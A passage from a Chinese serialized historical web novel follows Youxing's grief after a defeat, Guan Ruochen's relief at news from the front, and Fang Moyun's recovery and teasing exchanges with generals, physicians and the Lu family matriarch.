“方茉云来此也确实是来毁暗营的，她是在那一瞬间在你和国师之间，选择了你作对手。国师亦是在最后一刻，选择了成全峑戎另外一条出路，那也便是你！和国师这一次较量，你赢了，所以他死了，和方茉云的这次较量，我们输了，可我们还活着，站起来再来过就是！”长公主伸出双手牢牢握紧幽戎的肩膀，她的眉宇间透出了坚毅和刚强，还有一种与生俱来王者之气。
幽戎终于抬目望向长公主那深邃而坚定的双眸，长公主伸出修长的手指扶着幽戎俊朗的脸庞，凝视着他那好似被利刃反复穿刺，而痛苦得无以复加的神情，忽然伸手将他一把抱入自己怀中，不知道用尽自己全部的温暖可否融化他哪怕一丝的痛苦。
集益深吸一口气走出了房间，关上了门，而此时忽然传来了幽戎的嘶吼声，好似如猛兽的哀嚎一般，声嘶力竭，长公主用尽全身所有的力气抱紧他，泪如雨下。
幽戎爹娘兄长的死让他痛苦懊悔了半生，如今又背上了暗营兄弟和厄戎的死，与他们日夜奋战、同生共死的场景一幕幕出现在他脑海，和厄戎每一次狂笑饮酒，背靠着背遥望天狼，如今都被这残酷的事实，击得粉碎。
“厄戎！”他那疯狂而又崩溃的咆哮和呼喊，亦如悲鸣，震得全军的人心都在旷野激荡。
翌日晨曦的阳光依旧洒下大地，幽戎推门而出下令诸将整军回戎都，长公主支撑着起身，望向窗外幽戎的那健硕的背影，这一刻他好似不再顾忌任何事情，唯有胸中那团熊熊的火。
集益亦望向幽戎，阳光洒到他的身上，勾勒出他棱角分明的脸和坚毅魁梧的轮廓，神情冷静如铁。
幽戎亦抬眼望去，目光变得如此深沉和寒冷，好似能看透这天地苍茫，看见了命运的棋局，既然自己一生注定与黑暗和宿命相伴，何须逃避呢？此时他耳边不知为何又响起了那句话，纵有狂风拔地起，汝当乘风破万里。
整军回戎都得的路上，幽戎和长公主两人并肩而行带领大军回城，一路幽戎依旧都很沉默。夕阳西下之时，幽戎抬手示意全军扎营修整。
夜晚长公主生起了一团熊熊的篝火，平淡的望向集益忽然说：“国师走得很惨吗？他可有留下遗言？”
集益愣了一下，马上恭敬的回复说：“没有，他喝了一杯酒走的，走之前说方茉云是个好对手，还说……”
“说了什么！”长公主挑动着木头让篝火烧旺，爽朗而直率的望向集益。
“方茉云问他为何如此尊敬长公主，他说长公主帮他捡过一本书！”集益不自觉的小声说，然后想着便又握紧了拳说，“最后国师跟厄戎将军说让大将军一定要记住他最后的嘱托，还请大将军将她最后一份折子呈给大王，以后就有劳诸君了！”
“结果国师千算万算，没算到他最后的嘱托，厄戎却没杀得了方茉云。她确实是个好对手！”长公主坦诚大气的说，双耳佩戴的金耳饰反射着篝火的光芒显得整个人都熠熠生辉，她微微叹息一身又望向集益坦率地问道：“国师有说是哪本书吗？我回戎都再命人烧给他！”
“国师没说……”
“可我也想不起来了……”
集益想着看着长公主说道：“其实不用，方茉云让……让他们将国师的所有书都跟他一起烧了。”
“为何？”
集益想起亦有几分无语的说道：“不知，但我走的时候，卢正啸手下的那几个将军都不明所以的……在给国师烧书！很多书……”
幽戎亦未说什么而是望向了篝火，此时他们伙营的人捧着烤好的羊肉先奉给了长公主他们，峑戎军中后勤营帐是有女子的，一位刚入营的女孩将最好的一块羊排双手奉给幽戎，脸上还带着灿烂的笑意。
“滚开！”
众人不禁抬目望向长公主，她的目光顷刻如同锋利的刀刃，冷冷地瞥向那女子，修长的眉毛在面庞上形成了一个严厉的弧度，像是雷霆狂暴前的乌云，充满了压制的威胁，吓得那女子放下羊排便疾步跑了。
幽戎倒是抬目望向了长公主，长公主脸上顷刻闪烁出灵动而自信笑容望向幽戎：“那天在回戎都的路上露宿荒野，她对我说，大姐，你贵为长公主，喜欢什么，抢就是了，谁能把你如何？我想着突然觉得挺有道理！”
集益诧异的愣了半刻，然后看向幽戎，幽戎不置可否的移开了目光望向旷野，他眼神依旧冷漠，而嘴角却轻轻上扬，她便是这种疯癫的强盗……
她想灭暗营便来了暗营，当日忽然想救自己便救了，最后一刻她无论多厌恶那国师，也还是去成全国师的一世深情，这世间美好之物，不论是豪情、深情或是什么，若能让她为之动容，她皆会发了疯的成全。
可她那发疯癫狂的随性之下，却有一副刀枪不入，坚若磐石又冷酷决绝的内心撑着，她可舍生忘死的随自己刀山火海的闯，亦会在要杀自己之时毫不迟疑。这般畅快的该如何如何，便是她的人生信条。
造化弄人，可卢正啸和她既然都是自己宿命的对手，来日再相遇，那便是你死我活，唯有鲜血与复仇能祭奠厄戎、家人和族人。
无论未来如何，今日的血债，他誓要亲手讨还，无可逃避那便当真是该如何如何！
长公主望向幽戎，突然发现他好似再也不是戈壁上那放浪不羁的浪子，而是饱经血泪沉稳如山的将领了，带着一种无可动摇的威严和力量。她知道他绝不会在逃离，定然是那个会带领全族走向未来的男人。
银辉洒满大地，长公主轻轻唱起了的峑戎的歌谣，声音如同清泉流淌，带着对大地和族人的深情，瞬间抚慰了将士遭受重创的心灵。
幽戎也闭上眼睛听着，听着自己童年便听起的歌谣，心里也顿觉温暖，他知道她是是族人心中的明月，她也会是自己命里的妻子。
这世上之事终究就是几家欢喜，几家愁，万里
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之外的京城，若辰以成婚为由回来这几月，为正啸力挽狂澜扛住了朝中的大局，让太师此刻才意识到，是自己小看了这个被京城誉为公子世无双的才子，当他真的深入朝堂之时，居然可如此拿捏圣心。
可只有关家人才明白，这便是骨子里清逸脱俗如清风朗月的关若辰最厌恶的日子，可他却义无反顾的立于朝堂，勾心斗角强颜欢笑讨得圣心，只为给远在南关的挚友卢正啸抵挡住来自朝中的明枪暗箭，力挽朝中主战众臣的信心。
这日他身心俱疲双眉微蹙走出大殿，一行新上任的御史正进宫按朝廷规矩，接受皇上的召见，见到若辰自然是皆停下来行礼。
若辰轻抬手示意免礼，却一眼便瞧见了队伍中的吴叶衡，吴叶衡立刻像若辰行了大礼，队伍中人亦知道吴大人是南境来的，而若辰是南境的巡抚，想必两人相识。
可谁知若辰顷刻间面容冷若冰霜的径直走了，这便是他这般温润君子待人最苛刻的态度了，面对众人些许诧异的目光，吴叶衡却什么都没有说，面无波澜的随众人进大殿面圣。
晚上在家中用膳之时，若辰的新婚妻子季岚为他乘着自己精心烹煮的汤，从若辰和何友的眼神中，她能感受到他们的不快。
何友终究按耐不住忿然说道“哥，我去查查，那吴叶衡是有何种背景，居然还能调任至京城为御史，这般食古不化之人何以为官！”
“何友！”关大人此时放下碗筷看着何友说道，“以为官而论这位吴县令未有大错，切莫因私废公！”
“可……”
“父亲教训得是！”若辰双眉微皱说道，“再看看吧！”
何友此时才没有再说什么，若辰知道正啸带兵去了暗营，势必与茉云会有……这段日子自己便是寝食难安，心乱如麻，还哪还有神思去管那吴叶衡。
深夜，若辰还在书房奋笔疾书，季岚轻轻的为他端来了夜宵，他未抬目亦未拒绝，埋头写着公文，可是他已经烦闷的毁了几张纸，季岚知道若辰自十岁撰文便能文思如泉涌，一气呵成，此刻他定是心乱如麻，可是自己唯一能做的便是静静在旁陪伴。
此时屋外管家突然来报，说卢家派人来送信了，若辰起身就冲了出去说：“快请！”
不一会儿管家双手举着信疾步而来说道：“少爷，他就留下了信，说还要去送信。”
若辰当即接过了信，便走到了烛火旁，马上打开看着，看着信他眉宇间的川字慢慢就消闪了，季岚抬目望向若辰那白皙如玉的容颜，居然显现出了欢颜，眼神顿时显得温柔和欣喜，让人见之便好似如沐春风，这是自嫁入关家以来，她第一次见到。
此时何友也披着外衣冲了进来：“哥，卢家来信了？如何？”
若辰看完信居然瞬间粲然而笑，何友马上扯过信自己读着，亦是刹那间喜笑颜开。
“茉云是去暗营卧底，帮正啸哥端了暗营！正啸哥赢了，他们赢了！”
“嘘！”若辰笑了望向何友说道，“小点声，消息也许还刚进到宫中！老太君定是体恤我们，才命人深夜来送！”
“我去告诉爹！”何友顿时欣喜若狂的夺门而出说道。
季岚站在一旁好似这一切都与自己无关，正啸和若辰至交自己知道，而茉云这个名字自己听过，没想到此人对于他们如此重要。
她望向自己夫君，他的眼中此刻好似闪过一丝晶莹，她深深吸了口气，从自己嫁入关家，都未曾见到他的笑颜，更别说此刻的激动难以自抑。
“来人，帮我收拾行囊，我明日请旨回南境！”若辰欣喜的起身说道。
“夫君，我帮你收拾！”
“好，有劳！”若辰看向季岚温和的笑了。
若辰如此灿然的笑容，不知为何顷刻间有些刺痛季岚，她深吸一口气忽然问道：“夫君，我可与你同去南境吗？”
说完她便后悔了，自己是刚嫁人的新妇怎可不在家侍奉公婆长辈呢？
“好！”若辰却望向季岚温和而坦然的说道，“夫人随我同去吧！”
季岚愣了半刻看向若辰说道：“可我不在京城侍奉长辈，是为不孝！”
“爹事忙，奶奶在府中如此多人侍奉！”若辰说完才意识到，季岚是畏惧京中人言可畏，“我明日便跟爹禀报，关家老家便在南境，重阳将至，我说我带你回家祭祖！”
季岚顷刻开心的笑了点点头，心中又对若辰的体谅感到很暖心。
“夫人，去收拾吧，南境炎热，带些舒爽的衣服便好！”
“好！”季岚轻轻走出了书房，往房间收拾行囊，经过窗栏之时，她回首瞧见若辰又拿起那封书信在灯下端详着，顷刻间好似痴人一般……
136.克制
夕阳的余晖照耀着操练了一天的将士归来，伙营的炊烟从军营中袅袅升起，随着微风飘向远方。
正啸回南营，身后跟着一辆简朴的马车，缓缓驶过金黄色的田野，微风拂过车窗，茉云躺在车内轻轻撩开一角帘幕看向外，看见了傍晚的炊烟袅袅，亦看见了正啸恢复了严峻和坚毅的神情。
终于远处南营的营门逐渐显现，诸多回营的将士们一眼就认出了正啸，元帅亦从营帐中走出来等候，正啸心中微微一紧，他知道踏入南营的这一刻，自己就必须是那个沉稳而威严的大将军，没有自我更没有自我的情感。
“回来了！你这丫头也真是让人操心……”元帅望向茉云虚弱的样子语重心长的说，可是想起她是去拜祭青岚又不忍数落她，“安然无恙回来就好！”
茉云扶着车门缓缓下车，虚弱但是依旧是往常那风轻云淡的笑容，可是一脚下来，脚无力而没有承受住身躯。这一瞬间正啸本要伸出的手却克制的停住了，双眉微蹙，硬生生见着茉云摔到自己面前。
“快抬担架来，带她去白神医处！”元帅瞬间冲上来扶起茉云，然后没好气的瞪了正啸一眼，眼神数落他杵在这儿，不知道扶一下。
正啸则立于马旁眼神冷静而深邃，面容没有任何情感的波澜，只是站在那儿，像是军中威严的定海神针一般。
他转身将马儿交给千山牵去马圈，余光却看着茉云被抬走，那股深藏的感觉，如同潮水般一波一波涌上心头，都被他硬生生压下。他深知自己必须无所动摇，不然迎接所有人的必然是万丈深渊。
抬着茉云的担架快要经过一个魁梧且粗犷的身影时，她忽得从担架上弹了起来，嘴角上扬灿然而笑，瞬间抬起了手，而那人也抬手迎上，两人同时挥手，重重地击在一起，清脆的击掌声在空中响彻，那力道与气势，仿佛一瞬间将他们之间的默契与赤诚点燃。
那人便是万莫，他顿时憨傻的摸着自己后脑勺笑了，笑容如阳光一般灿烂，他本在大营养伤，是茉云回来了，元帅特地把他招来南营，周围的战友们看了亦纷纷笑了起来，气氛顿时变得轻松而温暖。
执礼笑了望向万莫，幼时连万莫的哥哥千山都觉得万莫日后只得拖累少主，可正啸执意将万莫呆在身边，而茉云则亦是和万莫一见如故，还为他求得利刃忠魂剑相赠。才让万莫可不顾一切以命为少主挡下那致命一剑，换得茉云能将计谋实施下去，她刺下那一剑之时，就知晓万莫即便什么都不知道，但是他一定会挡住这一剑。
这一刻，所有的战斗伤痛、所有的车马疲惫仿佛都被这简单的击掌驱散，众人不禁为这份赤诚忠勇所感动，亦被互相扶持的情谊所感染。
正啸远远看到这一幕，心中也不由得升起一丝柔情和温暖。
茉云被抬入了营帐，不论她气息如何虚弱，神情依旧透出执拗坚定，直到白神医白显夫妇拨开营帐幕帘走进来望向她，她瞬间一脸嬉皮笑脸。
白夫人行到茉云身旁坐下，往日那双如秋水般清澈明亮，透出脱俗清逸的眼眸，现在迸射出的都是怒意。
“白显惹你不高兴了？”
“是的，他能惹我。”白夫人没好气的伸出纤长的手指给茉云探脉，她忽然双眉微抬，望向站在一旁总带着淡然笑意的白显。
白显便乖乖的俯身，从青衣长袖中伸出精瘦有力的手，探了一下茉云的脉，便笑了：“你这是又费了人家多少内力，保住你的小命啊！”
“我也没要求，但是不要白不要！”茉云垫着长枕，坦然的看向他两说道。
白显顷刻就被逗笑了望向白夫人，眼神示意茉云并无碍，笑容如同春日暖阳般，让人感到无比的舒心与放松。
白夫人长叹一口气抬手给茉云盖着被子，此时不言鬼鬼祟祟的伸出头，终于找到了茉云的营帐，便大摇大摆的走了进来说道：“这军营太大，好不容易找到人，来，我给你看看！”
不言自顾自的走来给茉云探了一下脉，白显夫妇都怔了半刻望向衣衫褴褛却一脸不羁的不言。
“嗯，你这还好了挺多，那男子跟你什么关系？”
“你是看病啊？”
“他是个纯阳体，对你伤势确实大有裨益！”
“我把他炖了吃了？”
“哎呦，大姐，阴阳调和一定要吃吗？”不言瞬间又露出了猥琐的笑容说，“当然也可以用这个词！”
茉云明白了意思，瞬间抽出长枕就砸了过去：“你个庸医卖假药的。”
不言顷刻间便弹开了不满的说“诶，你顺便找个懂行的问问呗！”
白显则被逗笑了，白夫人则没好气的数落的瞪了白显一眼。
“你找个懂行的自己好好学学吧！”茉云忿然瞪着不言，指着白显夫妇骂道。
不言则满不在乎的打量了一下白显，只见他面容轮廓分明，微微方正的下巴留着一小撮短须，眼神深邃却透着一股沉稳和专注的温和气质，莫明就给人一种信任感，他最后的目光落在了他腰间的白家玉牌上。
“他……他是白门的？”不言立刻眼神就透出了敬意说道。
“白门是啥？应该是吧，他就叫白显！”茉云想着说道。
“白……白显！”不言哐嘡一下就跪在了地上，白显是白门的嫡传，且是众人都认可的最优秀的医师，“白显师叔在上，那个……我曾经想跟一位白门中人学医，我差点成了您的师侄，我……给您……磕头了！”
白显则温和的笑了说道：“起来吧，你师承于谁啊？”
“我本想拜白兴为师！”
此时白夫人冷冷的欲起身离去，白显伸手牵住她的手，眼神是如此的安宁和从容，充满了安抚的气息。
“可他把我……赶了出来！”
“为何？”
“因为我喜欢研究毒物，他说我不学无术！”不言眼中闪过一丝不忿说道。
“你起来吧，你习医期间不碰不就行了！”白显笑着说道。
“可我不懂，自远古的内经亦有记载之物，天生万物相生相克，毒物亦能救人，你不下毒就可以了嘛，为什么不能研究啊！”不言不服气的说道，“就像那毒蛇，你不睬它，它也不稀罕咬你啊，是毒物害人吗？是下毒人的害人好吗？我跟他吵了一架，被赶出来了！”
“你跟白兴吵了一架？”白显顷刻间被逗笑了，他的这个师兄素来以严厉著称，他的弟子别说吵架，怕是见到他都手指发抖难以施针。
“对啊，但是他没有吵赢，竟无言以对将我赶了出来！”不言望向茉云底气十足的说道，白夫人则抬目打量了一下不言。
“我管你那么多，你给我把那毒药的解药研制出来就行！”茉云没好气的回怼道。
“我连毒药的成分才搞清楚了八成！”不言从兜里拿出皱皱巴巴的纸说道。
“我瞧瞧！”
不言立马恭敬的双手奉上，白显接过来看着，白夫人则抬手就扯了过去看完之后，倒是重新又瞥了不言一眼，这小子居然真的将那毒药成分写的八九不离十。
“你跟我们来！”白夫人看着不言轻轻的说，然后俯身给茉云盖好被子说道，“好生养着！”
“哦！”
白夫人径直走出了营帐，白显亦随她走了出去，不言愣了半刻望向茉云：“大姐，你居然认识这么大的人物？”
“大哥，你快点速速跟他们去研制解药啊！”茉云没好气的忿然吼道。
“哦！”不言立刻欣喜的跑出去跟着两人去了草药营帐。
茉云虚弱的倒在榻上，自己好似记忆中还未伤得这么重过，她看着营帐那形状如一个倒扣的大碗，四周压得严严实实，在如此肃穆而冰冷的军营氛围中，体内只剩下他内力带来的暖意，似乎还在流淌，茉云闭上眼睛，她清醒的知道此处是容不下这些的……
夜色深而低垂，营中一片寂静，只剩下远处的篝火在颤动，正啸在营帐中端坐于案前，烛光昏暗将他的身影拉得格外深沉，他握笔书写着军务公文，可从他时而停顿的笔便能知晓，他此刻未能全神贯注。
茉云的营帐近在咫尺，可他未曾踏入一步，好似有天涯之远。执礼、千山等人守在一旁，他们这些在他身旁几十年之人，似乎都能感受到，正啸在压抑着，哪怕这份压抑灼烧着他的理智，可他依旧在压制着……
此时万莫走入了营帐，站到了千山旁如以往一般静静守着。
“怎么这时候来了？”千山示意万莫伤还未好，自己守夜，让他去歇息。
万莫不明就里的解释道：“我是刚去看了一下茉云，白神医说她病情好转，让我陪她聊会儿天。”
执礼分明能看见正啸的神情中轻轻松了口气，执礼轻轻笑了问道：“和茉云聊了什么？”
“她问我伤好了没？我说好了，她说可以喝酒吃肉了吗？我说可以，她说她也好了，想吃个八宝鸭喝点小酒，结果被少主打了！”万莫回忆着说道。
“扑哧”顿时营帐内的宁静迅速被众人的笑声打断。东山本在一旁汇报军务账簿，却顷刻笑得最开心。
“后来呢？”
“她问我出营方不方便，让我给她带点酒！”
正啸顷刻将笔重重的放在笔架上，抬头皱眉望向万莫。
万莫立即摆手说道：“我没答应，我说我不能惹少主生气！”
“所以她放弃了？”执礼笑着继续问。
万莫想着自己都觉得无奈的说“没有，她说闷葫芦会炸，敞开煮顶多冒烟，有时候要体恤上官，让他有机会发泄，然后白神医说，那倒是，茉云是个好下属，可让大将军天天冒烟。”
“扑哧”众人不禁捧腹大笑，正啸无语的拿起笔又开始奋笔疾书。
执礼抬目望了过去，帐外的月光透过帐帘映照正啸冷峻的脸上，他此时的神情，又恢复了坚毅和沉稳，峑戎国内局势大定，战争的号角即将吹响，眼前的局势不容他半分松懈。
清晨的军营还笼罩在薄雾之中，露珠亦尚未消散，营地内已经响起了士兵们整齐的脚步声和训练号令声。
元帅所在的中军大帐内，帘幕微微晃动，诸将站在帐中巨大的行军沙盘旁，沙盘上展示我军边防的详细情况和南境关内外的战场地形。
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元帅看向沙盘，便夸奖这沙盘制作得考究真实，从执礼介绍得知，这行军沙盘是东山耗费很多个日夜，考证了诸多文案古籍，并结合了诸位将军的实战经历所做，元帅抬手拍拍东山的肩膀眼中满是赏识笑了。
众将环绕在沙盘四周，个个身穿铠甲站姿挺拔神情肃穆，都专注地看向沙盘，听着正啸目光如炬的详述着当前战事之局势。元帅凝视着沙盘，轻轻抚着胡须，亦沉默的听着，时不时的点头肯定。
“峑戎国内朝局大震，但据情报显示，敌军在他们东南边防却加固了重兵防线，修筑了坚固的营垒，并加强了各个哨所的巡逻！”谢青指向峑戎的驻军之地说道。
“他们现在朝局如此震荡，定然怕遭到我军突袭！”
执礼却分析道：“依我等看，敌军这是在故布疑阵。他们驻守边防，加固营垒，让世人以为他们意在固守本土，但实际上可能是在等待时机，伺机而动。”
“敌军绝不只是防守，他们东南布防很是诡异。这不过是为了麻痹世人，真正的意图是随时发动突然袭击。哪怕是戎都局势危急之时，他们都未动边防一军，看来这才是他们操练多年，等待与我们一战的大军！”正啸的声音沉稳而有力，他是最清楚峑戎的，特别是幽戎！
“言之有理，敌军最喜用诡计，不能轻易相信其表面上的动静。既然如此，你等打算该如何应对？”元帅望向正啸问道。
“元帅，现在最重要的是稳固我们边防，时刻关注敌境的动态，确保没有一丝动静会逃出我们的掌控。同时上奏给朝廷，南关必须做好大战的准备了！”正啸斩钉截铁的回复道，现在已经是要彻底撕破朝中那群自欺欺人之臣美梦的时候了。
鹿里点着头急切地补充道：“的确，元帅，我们若只守不攻，简直就是坐等敌军突袭。”
元帅深吸一口气看向正啸说道：“丞相此次回京，想必一定会将南关实情，尽数禀报圣上，圣上英明，不日便会有旨意来，之前我们虽不能轻举妄动，但是我等不能麻痹。”
正啸明白元帅的意思，峑戎的朝局混乱，我朝的朝堂何尝不是也面临着一场大的震动：“元帅，我建议我们先加强粮草储备，增加关内外巡视，同时彻查稳固边防，绝不能让敌军有机会踏入南境半步，同时加强驻军操练，未来定是一场旷日持久的战斗，我们必须有坚定的信念以及足够的战力，时刻准备着挥师战胜峑戎。”
“不错，你此言正中要害。诸将立即按照大将军之计划，增援边防调整防线，确保军资充足，同时鼓舞士气操练大军，我等与峑戎大战的号角随时将吹响！”元帅气宇轩昂的像诸将下令道。
“是！”众将面色坚毅，纷纷抱拳应声道。
大战前夕，整个军营的士气高涨透着坚韧不拔的决心。所有将士都明白，战争一触即发，但他们已经做好了一切准备，真正考验他们的时候到了！
随着讨论的结束，众人各自离开营帐，准备落实各自防御和练兵的军务。威行大步走到营帐门前，就看见了营帐外等着他的雄山。
“咋了？”
“方茉云又出营了！”
威行瞬间坚毅的神情就又被逗乐了：“她又跑了？”
元帅长叹一口气望向正啸，正啸眼神瞬间迸发出怒意，一副再也懒得理睬的表情。
千山则转头看向身旁神情有些慌张万莫：“哪去了？”
“去镇上吃东西了！”万莫想着小声说道，“白神医说她去吃个八宝鸭没什么大碍……”
“是的，他会只吃八宝鸭！”威行笑得不行说道，“没事，我叫人去给她逮回来！”
“去八宝楼了？”鹿里亦笑了望向威行说道。
“铁定是。”威行笑着说道，他转身看向沧海，准备叫他陪自己去。
正啸瞬间抬头愤然瞪向威行，雄山发现了马上手肘撞了一下威行，用眼神指向正啸，威行转头看见正啸眼神，顷刻不敢动弹，众人也都不敢说话了。
“各自去落实军务！”元帅亦走出来严肃的说道。
“是。”
“延误者，军法处置！”正啸严厉的望向众人，眼神震慑得诸将都伏低了头。
“是！”众人抱拳行礼喊道，然后迅速各自转身去执行军务。
“震北，你正好休整几日，陪我去镇上。”元帅则抬手看向震北说，想着又望向万莫，“八宝楼在哪？”
正啸无语皱眉看向元帅，震北瞧见正啸的表情也为难的看向元帅：“元帅，我军务……”
“一身伤，休整几日，报效不在这几天，说了陪我去镇上。”元帅不容分说的指着说道，“万莫！”
“是。”
“你也随元帅去。”千山马上接过话轻声说道。
万莫此刻好似丝毫感受到不到正啸眼神中的忿然，喜笑颜开的跑了过去。
“这里你看着。”元帅亦没有搭理正啸的不悦，拍拍他的肩膀，然后带着震北走了。
谢青和东山他们看着正啸无可奈何而愤然转身的背影，都只能伏低头忍着笑，她果然能轻易让正啸冒烟……
137.谈笑
阳光照着街道上熙熙攘攘的人群，各式各样的店铺林立，酒馆的门口悬挂着精美的木雕匾额，匾上写着苍劲有力的八宝楼三个大字，门楣的两旁挂着一对红色灯笼，络绎不绝的宾客在门口进进出出，一切都相互映衬得这般热闹。
茉云进入酒馆，迎面扑来的酒香和菜香，让她瞬间心情畅快了起来，她看向宽敞的大厅，摆放着十几张雕刻圆桌，只剩下窗边角落那不起眼的的桌子，她走过去便坐了下来。
旁边站着的店小二，手腕上搭着手巾，不时打量着坐下的茉云，茉云开心的将银子放在桌上，开心的说：“小二，来壶好酒，来只八宝鸭！”
小二立马笑容可掬的迎了上来，将桌子擦得一尘不染的说道：“客官稍候，马上就来！”
“好！”茉云开心的点点头，阳光透过窗户洒进来，照在身上温暖又舒适，她顿时觉得这位置正好。
她满心的期待着，不时张望厨房的方向，自己的八宝鸭什么时候端上来，就在此时突然一根拐杖对桌上猛然一敲，惊得茉云定睛看去。
众人亦看了过来，一位穿着质朴老夫人站在茉云桌前，脸庞已经被岁月刻上了深深的痕迹，却眼神锐利背挺得笔直，周身都彰显出 沉稳和不可动摇的气场，眉宇间更是透出一股让人无法忽视的威仪。
茉云却毫不畏惧喜笑颜开的说“这是哪来的老太太还要拄拐了？”
老太太把拐杖对旁边一丢坐下，身旁的依妮甜美的笑了马上行礼道：“茉云姨！”
“嗯，您怎么来了。”
“你说呢，我卢家就这几口男丁了，还不够你祸祸的。”
茉云笑得不行，看向在旁上酒有些战战兢兢的小二说：“快，跟这位老太太整点软和点的东西。”
老太君没好气的瞪着茉云，她则毫不在意的笑着给老太太倒酒，然后看向在旁站得笔直的依妮说道：“坐啊！”
依妮望向老太君，直到老太君抬了一下手，依妮才笔直端正的坐下，看向茉云粲然而笑，可是余光望向老太君，她又收起了太过热烈的表情。
老太君没好气的端起酒碗骂道：“你不会哪天对我也射一箭吧。”
“瞧您说的，怎么可能。我一向看招牌吃面，我怎么敢？”
老太君白了一眼，叹息着抿了一口小酒。
“就您这小身板，也经不得我几箭啊。”
依妮马上伏低头忍着笑，茉云素来是这世上鲜少的完全不畏惧自己太奶奶之人。
老太君把酒碗对桌上重重一放吼道：“我儿子南征北战几十年，到老了，还逢此大劫，我震北也差点有去无回！”
茉云笑着捂着耳朵，老太君则看向突然走近的人，又突然停住了，没好气的瞪着他们。
“娘。”元帅亦怔了半刻恭敬的喊道。
“老太君。”震北立即上前，毫不顾及身上的伤势，唰的一下便跪下用力的磕头，执礼和万莫亦马上跪地磕头行礼。
老太太叹了口气起身扶起了震北说道“给奶奶我回来就好，快扶你父帅坐下，都起来吧！”
依妮亦立刻且起身跟元帅等人行了大礼，元帅温和的看向依妮拍拍她的头，众人皆围着小桌坐下，旁边的小二不时望向他们的穿戴不禁都愣了一下，他们虽着装朴素，但看他们的气度和腰间的佩饰，这都是贵人啊！
“劳你再拿我去几个酒碗，再多上些酒菜。”茉云笑着望向那小二，小二立刻满脸的殷勤的应声着。
“哎，你这身子骨。”老太君满脸都是担忧的看向元帅说道。
元帅则硬朗的笑了：“儿南征北战几十年，这点事，小事！”
“对，你南征北战几十年，几时让自己人差点给射穿了肩胛骨。”老太太没好气的骂道，然后看着震北脸上还未痊愈的伤痕，更是气不打一处来，“震北让人这么活活的抽了上百鞭。”
“娘，别这么说，这孩子去密营走了一趟，吃得苦不比咱少，人也差点拖家带口全交代在里面，没有她，密营根本灭不了！”
老太君吸了口气看向茉云，亦从未见过她如此面色苍白，气息虚弱的模样，料想也知道她此行之艰难，而且此计若不成，她还要背万世骂名。
“诶，元帅，您想错了，我在密营可谓如鱼得水，有时候还觉得自己之前是不是混错了地方，那儿既没有你儿子打我，又有您的另外一个儿子，让我随便打。”茉云举起酒碗和元帅酒碗碰了一下，毫不在意的说道。
“我……”震北看着都不知道该说什么。
“扑哧”众人不禁乐了，连老太君都无语的被逗乐了看向震北：“你啊，得空跟我回京城一趟，养养伤。你那倒霉媳妇，不晓得从哪儿得到的消息，那个寻死腻活啊，一没看住，她就往梁上跟你挂绳子，搞得我只好让依妮看着她。你那媳妇还敢说把两个孩子托付给我，哦，我老太太易把年纪，带你们这群混蛋玩意还不够，我还帮她带。”
震北怔了半刻看向老太君只得一脸的无语，元帅则喝着酒笑了，震北那媳妇确实把震北看得比什么都重。
“她尽然还有一日说要来南关跟你报仇。”老太太想着自己都乐了说道。
执礼笑着望向万莫说：“想象一下震北嫂子，哪日来南关找茉云寻仇。”
万莫本来在一旁憨憨的吃着饭，突然想着傻笑得不行，众人亦哄堂大笑。
“诶，你千万别这么说，再骁勇的大将我是不怕，可是我这辈子最怕痴男怨女。我家嫂子也是这种人，这天下我最怕了她，他们这种为了男人寻死腻活的劲，我也不懂，我也没那根弦。”
众人都放下酒碗，望向茉云，老太君的眼神中总闪烁着异样的眼光。
“你们该不是认为我是为了卢正啸吧，你们得多高看您家儿子啊。我就不能跟他们一样，大家是肝胆相照的兄弟。”
元帅想着亦豪爽的点点头，老太太则还是抬目俯瞰着她，眯着眼瞧人的样子，眼中写满了质疑。
“我家在南关，若是把卢家都送去峑戎能换来南关长治久安，我那也是愿意送的。可是只怪峑戎那玩意，他也没信用。是的，等下赔了兄弟又折兵。”
“是的，你有本事拿下我啸儿。”
“您呀，别不信您家的这些忠臣良部的忠言，问问他，人峑戎收到的情报，怎么亡卢正啸来着。”茉云边往自己的酒碗里倒着酒，边看向震北说道。
“什么？”
震北迟疑的还是说了“峑戎有传言，亡卢正啸，必方茉云。”
“谁说的。”
“顾……”震北吸了口气轻轻说，似乎不忍老太君和元帅能听见似的，“老太君，顾将军他……”
老太君忿然的顷刻间怒目圆瞪，握着筷子的手都有几分颤抖：“不要提他，我不想听见顾字。我无颜去见老爷子，只待入土之时，再去跟他请罪了。”
“你别埋那嘛，他们坟地里有啥啊，这么稀罕？”茉云笑着望向老太君那愤恨的表情，无语的喝着酒说。
“都是忠魂铁骨。”
“那您到处嚷嚷，让盗墓贼听了去，还以为你们卢家的坟地里多少宝贝，我跟您说您没干过司法参军这一行，您不知道，这盗墓贼最不好抓。我知道您跟我一样也是个有仇必报的主，可是毕竟一日夫妻百日恩，老元帅也就安宁了这些年，您别跟他找这份不自在？”
老太太顿时没好气瞪向茉云，元帅和执礼都伏低头忍着笑。
“您别生气嘛？”茉云若有所思的叹息着
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望向窗外说，“顾将军这么说，说不定大抵是觉得我不会杀卢正啸，而他亦不想峑戎杀了我！”
元帅喝着酒咬紧牙关也没有说什么，老太君虽依然满脸忿然，可最终握紧拳亦沉默了。执礼深吸一口气，这便是对老太君和元帅最大的宽慰了……
“您一大把年纪了，也别拳头握这么紧，说是为朝廷应该鞠躬尽瘁，可你听到说，用卢家全家去峑戎换太平，您还不是不答应的。”
“那能一样吗？”
“那您为什么让一个儿子到外面饱受风霜，历尽苦难，让另一个宝贝小儿子在家父慈子孝，聚享天伦呢。”
“别胡说。”元帅立即放下酒碗望向茉云解释说，“我弟从小身子弱。”
“您家这碗水都没端平过，就别怪人家想留条血脉了。”
老太君最终长长叹了口气，茉云笑笑端起酒碗跟他们几个都碰了一下杯，众人都一饮而尽。
“但是当日我听见这句话时，热血沸腾！我一直没打得赢卢正啸，没想到峑戎居然这般看好我，我不能放弃！”
“美得你！正啸自小练武，师承会当顶，还受他爷爷亲自指点过！”老太君顷刻笑着骂道，元帅亦被逗乐了摇摇头，而老太君说着，眼神里透出了引以自豪的光芒，“他爷爷当年就凭一杆银枪，纵横沙场无敌手，这世上只有正啸一人得他亲传！”
“他没教过元帅吗？”
“没有亲自教授过，我爹素来……严肃，鲜少有话，见我和我弟之时都顶多是提点几句，可不知为何跟啸儿有话说。”元帅想着不禁回忆道。
